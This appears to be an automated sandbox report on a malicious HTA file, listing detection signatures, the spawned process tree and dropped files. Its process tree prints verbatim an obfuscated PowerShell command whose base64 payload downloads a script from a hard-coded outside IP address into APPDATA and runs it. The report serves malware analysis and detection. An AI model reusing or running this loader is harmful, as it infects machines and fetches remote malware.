Analysis
- max time kernel
92s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
14/11/2024, 03:21
General
- Target faae949a7d2f32b0ae09b23d53d602dac380db26541952755c920773e46f8bcd.hta
- Size 207KB
- Sample241114-dwjydstfrc
- SHA256 faae949a7d2f32b0ae09b23d53d602dac380db26541952755c920773e46f8bcd
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Evasion via Device Credential Deployment 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\faae949a7d2f32b0ae09b23d53d602dac380db26541952755c920773e46f8bcd.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wiNdOWSPoWErShELl\V1.0\POwERSHELl.EXe"C:\Windows\sYSTEm32\wiNdOWSPoWErShELl\V1.0\POwERSHELl.EXe" "pOWErSHELl.eXE -Ex ByPaSS -Nop -w 1 -C DevIcecredENtiaLDePLoymEnT.exe ; IeX($(IeX('[sysTem.tEXT.ENCODInG]'+[CHAR]58+[ChaR]58+'Utf8.gETsTriNg([SYSteM.cOnvERt]'+[chaR]0X3A+[chAr]58+'FROMBaSe64STRing('+[ChAr]0X22+'JDNjTHBiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlcmRlRmlOSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhOa0lIQ0FhLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFBZk52LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5sY2l1LHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIUm96bGRXLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEN6Sik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhDWVBaQWZ5U3giICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ6UmpHTW94ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQzY0xwYjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC4yMy4yMTIuMjMzLzMzMS9zZWV0aGViZXN0dGhpbmdzb2ZnaXJsc3NoZWlzYW1vbnRoZXJmdWNrZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NvZmdpcmxzc2hlaXNhbW9udGhlci52YlMiLDAsMCk7U1RhclQtc0xlZXAoMyk7c1RBclQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NvZmdpcmxzc2hlaXNhbW9udGhlci52YlMi'+[ChaR]34+'))')))"2⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPaSS -Nop -w 1 -C DevIcecredENtiaLDePLoymEnT.exe3⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zdozsoiv\zdozsoiv.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF3F5.tmp" "c:\Users\Admin\AppData\Local\Temp\zdozsoiv\CSCEF6F59E8488A4A3C89C0F5D025A4A02B.TMP"4⤵
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
POwERSHELl.EXe.log
StartupProfileData-NonInteractive
RESF3F5.tmp
__PSScriptPolicyTest_ncvf5n3l.2oe.ps1
zdozsoiv.dll
CSCEF6F59E8488A4A3C89C0F5D025A4A02B.TMP
zdozsoiv.0.cs
zdozsoiv.cmdline
memory/1168-17-0x0000000005A00000-0x0000000005D54000-memory.dmp
memory/1168-70-0x00000000073A0000-0x00000000073C2000-memory.dmp
memory/1168-18-0x0000000005FE0000-0x0000000005FFE000-memory.dmp
memory/1168-19-0x0000000006020000-0x000000000606C000-memory.dmp
memory/1168-75-0x0000000070A50000-0x0000000071200000-memory.dmp
memory/1168-1-0x00000000026D0000-0x0000000002706000-memory.dmp
memory/1168-3-0x0000000070A50000-0x0000000071200000-memory.dmp
memory/1168-71-0x0000000008260000-0x0000000008804000-memory.dmp
memory/1168-0-0x0000000070A5E000-0x0000000070A5F000-memory.dmp
memory/1168-6-0x0000000005920000-0x0000000005986000-memory.dmp
memory/1168-69-0x0000000070A50000-0x0000000071200000-memory.dmp
memory/1168-68-0x0000000070A50000-0x0000000071200000-memory.dmp
memory/1168-67-0x0000000070A5E000-0x0000000070A5F000-memory.dmp
memory/1168-65-0x00000000065B0000-0x00000000065B8000-memory.dmp
memory/1168-2-0x0000000005140000-0x0000000005768000-memory.dmp
memory/1168-4-0x0000000070A50000-0x0000000071200000-memory.dmp
memory/1168-5-0x0000000005040000-0x0000000005062000-memory.dmp
memory/1168-7-0x0000000005990000-0x00000000059F6000-memory.dmp
memory/3444-42-0x00000000074F0000-0x0000000007B6A000-memory.dmp
memory/3444-50-0x0000000007120000-0x0000000007128000-memory.dmp
memory/3444-49-0x00000000071F0000-0x000000000720A000-memory.dmp
memory/3444-48-0x00000000070E0000-0x00000000070F4000-memory.dmp
memory/3444-47-0x00000000070D0000-0x00000000070DE000-memory.dmp
memory/3444-46-0x00000000070A0000-0x00000000070B1000-memory.dmp
memory/3444-45-0x0000000007130000-0x00000000071C6000-memory.dmp
memory/3444-44-0x0000000006F00000-0x0000000006F0A000-memory.dmp
memory/3444-43-0x0000000006EA0000-0x0000000006EBA000-memory.dmp
memory/3444-41-0x0000000006D60000-0x0000000006E03000-memory.dmp
memory/3444-40-0x0000000006CD0000-0x0000000006CEE000-memory.dmp
memory/3444-30-0x000000006D310000-0x000000006D35C000-memory.dmp
memory/3444-29-0x0000000006D20000-0x0000000006D52000-memory.dmp